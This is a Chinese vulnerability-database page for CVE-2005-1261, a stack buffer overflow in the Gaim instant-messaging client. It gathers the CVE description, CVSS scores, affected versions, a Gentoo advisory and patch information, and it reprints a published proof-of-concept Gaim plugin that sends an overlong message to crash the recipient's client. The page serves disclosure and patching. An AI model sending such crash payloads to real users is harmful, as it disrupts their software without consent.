CVE-2005-1261
CVSS7.5
发布时间 :2005-05-11 00:00:00
修订时间 :2011-03-07 21:21:32
NMCOEPS    

[原文]Stack-based buffer overflow in the URL parsing function in Gaim before 1.3.0 allows remote attackers to execute arbitrary code via an instant message (IM) with a large URL.


[CNNVD]Gaim URI处理远程缓冲区溢出漏洞(CNNVD-200505-977)

        Gaim是一款Linux系统下的即时通讯软件,是一个同时支持多种协议的即时聊天工具。所支持的协议包括AIM、ICQ、MSN、IRC和Jabber。
        Gaim在处理超长URI时存在远程溢出漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意指令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:rob_flynn:gaim:0.51
cpe:/a:rob_flynn:gaim:0.65
cpe:/a:rob_flynn:gaim:0.63
cpe:/a:rob_flynn:gaim:1.2.1
cpe:/a:rob_flynn:gaim:0.56
cpe:/a:rob_flynn:gaim:0.69
cpe:/a:rob_flynn:gaim:0.54
cpe:/a:rob_flynn:gaim:0.10.3
cpe:/a:rob_flynn:gaim:1.1.0
cpe:/a:rob_flynn:gaim:0.79
cpe:/a:rob_flynn:gaim:0.60
cpe:/a:rob_flynn:gaim:0.10
cpe:/a:rob_flynn:gaim:1.0.0
cpe:/a:rob_flynn:gaim:0.74
cpe:/a:rob_flynn:gaim:0.71
cpe:/a:rob_flynn:gaim:1.1.2
cpe:/a:rob_flynn:gaim:0.58
cpe:/a:rob_flynn:gaim:1.2.0
cpe:/a:rob_flynn:gaim:0.82
cpe:/a:rob_flynn:gaim:0.62
cpe:/a:rob_flynn:gaim:1.1.4
cpe:/a:rob_flynn:gaim:1.0.2
cpe:/a:rob_flynn:gaim:0.78
cpe:/a:rob_flynn:gaim:0.55
cpe:/a:rob_flynn:gaim:0.81
cpe:/a:rob_flynn:gaim:1.0.1
cpe:/a:rob_flynn:gaim:0.75
cpe:/a:rob_flynn:gaim:0.57
cpe:/a:rob_flynn:gaim:0.73
cpe:/a:rob_flynn:gaim:0.77
cpe:/a:rob_flynn:gaim:0.53
cpe:/a:rob_flynn:gaim:0.61
cpe:/a:rob_flynn:gaim:0.72
cpe:/a:rob_flynn:gaim:0.50
cpe:/a:rob_flynn:gaim:0.67
cpe:/a:rob_flynn:gaim:0.64
cpe:/a:rob_flynn:gaim:0.76
cpe:/a:rob_flynn:gaim:1.1.3
cpe:/a:rob_flynn:gaim:0.59.1
cpe:/a:rob_flynn:gaim:0.70
cpe:/a:rob_flynn:gaim:0.80
cpe:/a:rob_flynn:gaim:0.82.1
cpe:/a:rob_flynn:gaim:0.59
cpe:/a:rob_flynn:gaim:1.1.1
cpe:/a:rob_flynn:gaim:0.68
cpe:/a:rob_flynn:gaim:0.66
cpe:/a:rob_flynn:gaim:0.52
cpe:/a:rob_flynn:gaim:1.0.3

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:10725Stack-based buffer overflow in the URL parsing function in Gaim before 1.3.0 allows remote attackers to execute arbitrary code via an instan...
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1261
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1261
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200505-977
(官方数据源) CNNVD

- 其它链接及资源

http://gaim.sourceforge.net/security/index.php?id=16
(VENDOR_ADVISORY)  CONFIRM  http://gaim.sourceforge.net/security/index.php?id=16
http://www.vupen.com/english/advisories/2005/0519
(UNKNOWN)  VUPEN  ADV-2005-0519
http://www.redhat.com/support/errata/RHSA-2005-432.html
(UNKNOWN)  REDHAT  RHSA-2005:432
http://www.redhat.com/support/errata/RHSA-2005-429.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2005:429
http://www.securityfocus.com/bid/13590
(UNKNOWN)  BID  13590
http://www.securityfocus.com/archive/1/archive/1/426078/100/0/threaded
(UNKNOWN)  FEDORA  FLSA:158543

- 漏洞信息

Gaim URI处理远程缓冲区溢出漏洞
高危 缓冲区溢出
2005-05-11 00:00:00 2005-10-20 00:00:00
远程  
        Gaim是一款Linux系统下的即时通讯软件,是一个同时支持多种协议的即时聊天工具。所支持的协议包括AIM、ICQ、MSN、IRC和Jabber。
        Gaim在处理超长URI时存在远程溢出漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意指令。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载1.3.0版本:
        http://prdownloads.sourceforge.net/gaim/gaim-1.3.0.tar.gz?download
        http://security.gentoo.org/glsa/glsa-200505-09.xml

- 漏洞信息 (999)

Gaim <= 1.2.1 URL Handling Remote Stack Overflow Exploit (EDBID:999)
linux dos
2005-05-17 Verified
0 Ron
N/A [点击下载]
// Written by Ron <iago@valhallalegends.com>
// Friday, May 13, 2005
//
// This is a very weak demonstration of Gaim 1.2.1's stack overflow vulnerability
// when processing email addresses.  What this basically does is segfault you when you
// do a /vuln command in a conversation, and, if you're using a protocol that allows
// a 10002-character message to go through, also segfaults the person you sent it to.
// The reason is that gaim's stack is overwritten with a whole bunch of 'A's, and
// the return address of the function ends up at 0x41414141.  That's no good for
// anybody.
//
// This code should be considered public domain, and is freely modifiable/distributable
// by any and everyone.
//
// Note:
// To compile, place this in the "plugins" directory of Gaim's source
// (gaim-1.2.1/plugins) and type "make vuln-plugin.so".  This will compile vuln-plugin.so.
// Then put it in ~/.gaim/plugins, restart gaim, and load it as a plugin.

#include <unistd.h>
#include <ctype.h>
#include <string.h>
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "internal.h"
#include "gtkgaim.h"

#include "debug.h"
#include "signals.h"
#include "util.h"
#include "version.h"
#include "cmds.h"
#include "conversation.h"

#include "gtkplugin.h"
#include "gtkutils.h"

#define ME "1.2.1 Vuln Check"
#define MAXLENGTH 1024
#define XMMS_PLUGIN_VERSION "I am a test plugin to check for URL encoding vulnerability."

static GaimCmdId cmd;

char *code = "A@                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ";

gboolean go(GaimConversation *conv, const gchar *cmd, gchar **args, gchar **error, void *data)
{
       gaim_conv_im_send(GAIM_CONV_IM(conv), code);

       return GAIM_CMD_STATUS_OK;
}

static gboolean plugin_load(GaimPlugin *plugin)
{
       cmd = gaim_cmd_register("vuln", "", GAIM_CMD_P_DEFAULT, GAIM_CMD_FLAG_IM, NULL, (GaimCmdFunc)go, "/vuln", NULL);

       return TRUE;
}

static gboolean plugin_unload(GaimPlugin *plugin)
{
       gaim_cmd_unregister (cmd);

       return TRUE;
}

static GaimPluginInfo info =
{
       GAIM_PLUGIN_MAGIC,
       GAIM_MAJOR_VERSION,
       GAIM_MINOR_VERSION,
       GAIM_PLUGIN_STANDARD,                            /**< type         */
       NULL,                                            /**< ui_requirement */
       0,                                              /**< flags        */
       NULL,                                            /**< dependencies   */
       GAIM_PRIORITY_DEFAULT,                          /**< priority      */
       NULL,                                            /**< id                 */
       N_("1.2.1 Email Overflow Demo"),                                /**< name          */
       VERSION,                                          /**< version  */
                                                         /**  summary  */
       N_(""),
                                                         /**  description      */
       N_(""),
       "Ron <iago@valhallalegends.com>",                /**< author     */
       "",                       /**< homepage    */

       plugin_load,                                      /**< load        */
       plugin_unload,                                  /**< unload      */
       NULL,                                            /**< destroy   */

       NULL,                                            /**< ui_info   */
       NULL,                                            /**< extra_info         */
       NULL,
       NULL
};

static void init_plugin(GaimPlugin *plugin)
{
}

GAIM_INIT_PLUGIN(XMMSPlugin, init_plugin, info)

// milw0rm.com [2005-05-17]
		

- 漏洞信息 (F38416)

Gentoo Linux Security Advisory 200505-9 (PacketStormID:F38416)
2005-07-02 00:00:00
Gentoo  security.gentoo.org
advisory,remote,denial of service,overflow,protocol
linux,gentoo
CVE-2005-1261,CVE-2005-1262
[点击下载]

Gentoo Linux Security Advisory GLSA 200505-09 - Stu Tomlinson discovered that Gaim is vulnerable to a remote stack based buffer overflow when receiving messages in certain protocols, like Jabber and SILC, with a very long URL (CVE-2005-1261). Siebe Tolsma discovered that Gaim is also vulnerable to a remote Denial of Service attack when receiving a specially crafted MSN message (CVE-2005-1262). Versions less than 1.3.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200505-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: Gaim: Denial of Service and buffer overflow vulnerabilties
      Date: May 12, 2005
      Bugs: #91862
        ID: 200505-09

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Gaim contains two vulnerabilities, potentially resulting in the
execution of arbitrary code or Denial of Service.

Background
==========

Gaim is a full featured instant messaging client which handles a
variety of instant messaging protocols.

Affected packages
=================

    -------------------------------------------------------------------
     Package      /  Vulnerable  /                          Unaffected
    -------------------------------------------------------------------
  1  net-im/gaim       < 1.3.0                                >= 1.3.0

Description
===========

Stu Tomlinson discovered that Gaim is vulnerable to a remote stack
based buffer overflow when receiving messages in certain protocols,
like Jabber and SILC, with a very long URL (CAN-2005-1261). Siebe
Tolsma discovered that Gaim is also vulnerable to a remote Denial of
Service attack when receiving a specially crafted MSN message
(CAN-2005-1262).

Impact
======

A remote attacker could cause a buffer overflow by sending an instant
message with a very long URL, potentially leading to the execution of
malicious code. By sending a SLP message with an empty body, a remote
attacker could cause a Denial of Service or crash of the Gaim client.

Workaround
==========

There are no known workarounds at this time.

Resolution
==========

All Gaim users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-im/gaim-1.3.0"

References
==========

  [ 1 ] CAN-2005-1261
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1261
  [ 2 ] CAN-2005-1262
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1262

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200505-09.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
    

- 漏洞信息

16347
Gaim Multiple Protocol URL Processing Overflow
Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2005-05-10 Unknow
2005-05-17 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Gaim Remote URI Handling Buffer Overflow Vulnerability
Boundary Condition Error 13590
Yes No
2005-05-11 12:00:00 2006-12-22 12:04:00
Stu Tomlinson is credited with the discovery of this vulnerability.

- 受影响的程序版本

Ubuntu Ubuntu Linux 5.0 4 powerpc
Ubuntu Ubuntu Linux 5.0 4 i386
Ubuntu Ubuntu Linux 5.0 4 amd64
Ubuntu Ubuntu Linux 4.1 ppc
Ubuntu Ubuntu Linux 4.1 ia64
Ubuntu Ubuntu Linux 4.1 ia32
SuSE SUSE Linux Enterprise Server 8
+ Linux kernel 2.4.21
+ Linux kernel 2.4.19
SuSE SUSE Linux Enterprise Server 7
+ Linux kernel 2.4.19
SGI ProPack 3.0
S.u.S.E. SuSE Linux School Server for i386
S.u.S.E. SuSE eMail Server III
S.u.S.E. SuSE eMail Server 3.1
S.u.S.E. Open-Enterprise-Server 9.0
S.u.S.E. Novell Linux Desktop 9.0
S.u.S.E. Linux Professional 8.2
S.u.S.E. Linux Professional 7.3
S.u.S.E. Linux Personal 9.3 x86_64
S.u.S.E. Linux Personal 9.3
S.u.S.E. Linux Personal 9.2 x86_64
S.u.S.E. Linux Personal 9.2
S.u.S.E. Linux Personal 9.1 x86_64
S.u.S.E. Linux Personal 9.1
S.u.S.E. Linux Personal 9.0 x86_64
S.u.S.E. Linux Personal 9.0
S.u.S.E. Linux Personal 8.2
S.u.S.E. Linux Openexchange Server
S.u.S.E. Linux Office Server
S.u.S.E. Linux IMAP Server 1.0
S.u.S.E. Linux Enterprise Server for S/390 9.0
S.u.S.E. Linux Enterprise Server for S/390
S.u.S.E. Linux Enterprise Server 9
S.u.S.E. Linux Desktop 1.0
S.u.S.E. Linux Database Server 0
S.u.S.E. Linux Connectivity Server
S.u.S.E. Linux 8.1
S.u.S.E. Linux 8.0 i386
S.u.S.E. Linux 8.0
S.u.S.E. Linux 7.3 sparc
S.u.S.E. Linux 7.3 ppc
S.u.S.E. Linux 7.3 i386
S.u.S.E. Linux 7.3
S.u.S.E. Linux 7.2 i386
S.u.S.E. Linux 7.2
S.u.S.E. Linux 7.1 x86
S.u.S.E. Linux 7.1 sparc
S.u.S.E. Linux 7.1 ppc
S.u.S.E. Linux 7.1 alpha
S.u.S.E. Linux 7.1
S.u.S.E. Linux 7.0 sparc
S.u.S.E. Linux 7.0 ppc
S.u.S.E. Linux 7.0 i386
S.u.S.E. Linux 7.0 alpha
S.u.S.E. Linux 7.0
S.u.S.E. Linux 6.4 ppc
S.u.S.E. Linux 6.4 i386
S.u.S.E. Linux 6.4 alpha
S.u.S.E. Linux 6.4
S.u.S.E. Linux 6.3 ppc
S.u.S.E. Linux 6.3 alpha
S.u.S.E. Linux 6.3
S.u.S.E. Linux 6.2
S.u.S.E. Linux 6.1 alpha
S.u.S.E. Linux 6.1
S.u.S.E. Linux 6.0
S.u.S.E. Linux 5.3
S.u.S.E. Linux 5.2
S.u.S.E. Linux 5.1
S.u.S.E. Linux 5.0
S.u.S.E. Linux 4.4.1
S.u.S.E. Linux 4.4
S.u.S.E. Linux 4.3
S.u.S.E. Linux 4.2
S.u.S.E. Linux 4.0
S.u.S.E. Linux 3.0
S.u.S.E. Linux 2.0
S.u.S.E. Linux 1.0
Rob Flynn Gaim 1.2.1
Rob Flynn Gaim 1.2
Rob Flynn Gaim 1.1.4
+ Conectiva Linux 10.0
+ Conectiva Linux 9.0
+ Conectiva Linux 4.1
+ Gentoo Linux
+ MandrakeSoft Corporate Server 3.0 x86_64
+ MandrakeSoft Corporate Server 3.0
+ Mandriva Linux Mandrake 10.1 x86_64
+ Mandriva Linux Mandrake 10.1
+ Ubuntu Ubuntu Linux 5.0 4 powerpc
+ Ubuntu Ubuntu Linux 5.0 4 i386
+ Ubuntu Ubuntu Linux 5.0 4 amd64
Rob Flynn Gaim 1.1.3
+ Red Hat Fedora Core3
+ Red Hat Fedora Core2
Rob Flynn Gaim 1.1.2
Rob Flynn Gaim 1.1.1
Rob Flynn Gaim 1.0.2
+ Gentoo Linux
+ Slackware Linux 10.0
+ Slackware Linux 9.1
+ Slackware Linux 9.0
+ Slackware Linux -current
Rob Flynn Gaim 1.0.1
Rob Flynn Gaim 1.0
Rob Flynn Gaim 0.82.1
Rob Flynn Gaim 0.82
+ Mandriva Linux Mandrake 10.1 x86_64
+ Mandriva Linux Mandrake 10.1
+ RedHat Linux 9.0 i386
+ RedHat Linux 7.3 i386
+ RedHat Linux 7.3
Rob Flynn Gaim 0.78
Rob Flynn Gaim 0.75
Rob Flynn Gaim 0.74
Rob Flynn Gaim 0.73
Rob Flynn Gaim 0.72
Rob Flynn Gaim 0.71
+ Red Hat Fedora Core1
Rob Flynn Gaim 0.70
Rob Flynn Gaim 0.69
Rob Flynn Gaim 0.68
Rob Flynn Gaim 0.67
Rob Flynn Gaim 0.66
Rob Flynn Gaim 0.65
Rob Flynn Gaim 0.64
Rob Flynn Gaim 0.63
Rob Flynn Gaim 0.62
Rob Flynn Gaim 0.61
Rob Flynn Gaim 0.60
Rob Flynn Gaim 0.59.1
+ MandrakeSoft Corporate Server 1.0.1
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 7.2
+ Mandriva Linux Mandrake 7.1
+ RedHat Linux 7.3 i386
+ RedHat Linux 7.3
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 i386
+ RedHat Linux 7.1 i386
+ RedHat Linux 7.1 alpha
Rob Flynn Gaim 0.59
+ Gentoo Linux 0.7
+ Gentoo Linux 0.5
+ HP Secure OS software for Linux 1.0
+ RedHat Linux 9.0 i386
+ RedHat Linux 7.3 i386
+ RedHat Linux 7.3
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 i386
+ RedHat Linux 7.2
+ RedHat Linux 7.1 ia64
+ RedHat Linux 7.1 i386
+ RedHat Linux 7.1 alpha
+ RedHat Linux 7.1
+ S.u.S.E. Linux 8.1
+ S.u.S.E. Linux Personal 8.2
+ Sun Linux 5.0
Rob Flynn Gaim 0.58
Rob Flynn Gaim 0.57
Rob Flynn Gaim 0.56
Rob Flynn Gaim 0.55
Rob Flynn Gaim 0.54
Rob Flynn Gaim 0.53
Rob Flynn Gaim 0.52
Rob Flynn Gaim 0.51
+ MandrakeSoft Corporate Server 1.0.1
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 7.2
+ Mandriva Linux Mandrake 7.1
Rob Flynn Gaim 0.50
+ S.u.S.E. Linux 8.0
Rob Flynn Gaim 0.10.3
Rob Flynn Gaim 0.10 x
RedHat Linux 9.0 i386
RedHat Linux 7.3 i686
RedHat Linux 7.3 i386
RedHat Linux 7.3
Red Hat Fedora Core2
Red Hat Fedora Core1
Mandriva Linux Mandrake 10.2 x86_64
Mandriva Linux Mandrake 10.2
Conectiva Linux 10.0
Conectiva Linux 9.0
Rob Flynn Gaim 1.3 .0

- 不受影响的程序版本

Rob Flynn Gaim 1.3 .0

- 漏洞讨论

Gaim is susceptible to a remote buffer-overflow vulnerability when handling long URIs. This issue is due to the application's failure to properly bounds-check user-supplied input data before copying it to a fixed-size stack buffer.

Due to Gaim's multiple protocol support and to the nature of the differing IM protocols, only some of the IM networks are reported vulnerable (because of the message-length limits imposed by the IM networks). Currently, the Jabber and SILC IM network protocols are known to be vulnerable. Other protocols may also be affected.

This vulnerability allows remote attackers to execute arbitrary machine code in the context of the affected application.

Gaim versions prior to 1.3.0 are vulnerable to this issue.

- 漏洞利用

The following denial of service proof of concept is available:

- 解决方案

Vendor upgrades are available. Please see the referenced advisories for more information.


Rob Flynn Gaim 0.10 x

Rob Flynn Gaim 0.50

Rob Flynn Gaim 0.51

Rob Flynn Gaim 0.52

Rob Flynn Gaim 0.53

Rob Flynn Gaim 0.54

Rob Flynn Gaim 0.55

Rob Flynn Gaim 0.56

Rob Flynn Gaim 0.59

Rob Flynn Gaim 0.59.1

Rob Flynn Gaim 0.60

Rob Flynn Gaim 0.61

Rob Flynn Gaim 0.62

Rob Flynn Gaim 0.63

Rob Flynn Gaim 0.64

Rob Flynn Gaim 0.65

Rob Flynn Gaim 0.70

Rob Flynn Gaim 0.71

Rob Flynn Gaim 0.73

Rob Flynn Gaim 0.74

Rob Flynn Gaim 0.75

Rob Flynn Gaim 0.82

Rob Flynn Gaim 0.82.1

Rob Flynn Gaim 1.0.2

Rob Flynn Gaim 1.1.3

Rob Flynn Gaim 1.1.4

Rob Flynn Gaim 1.2

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站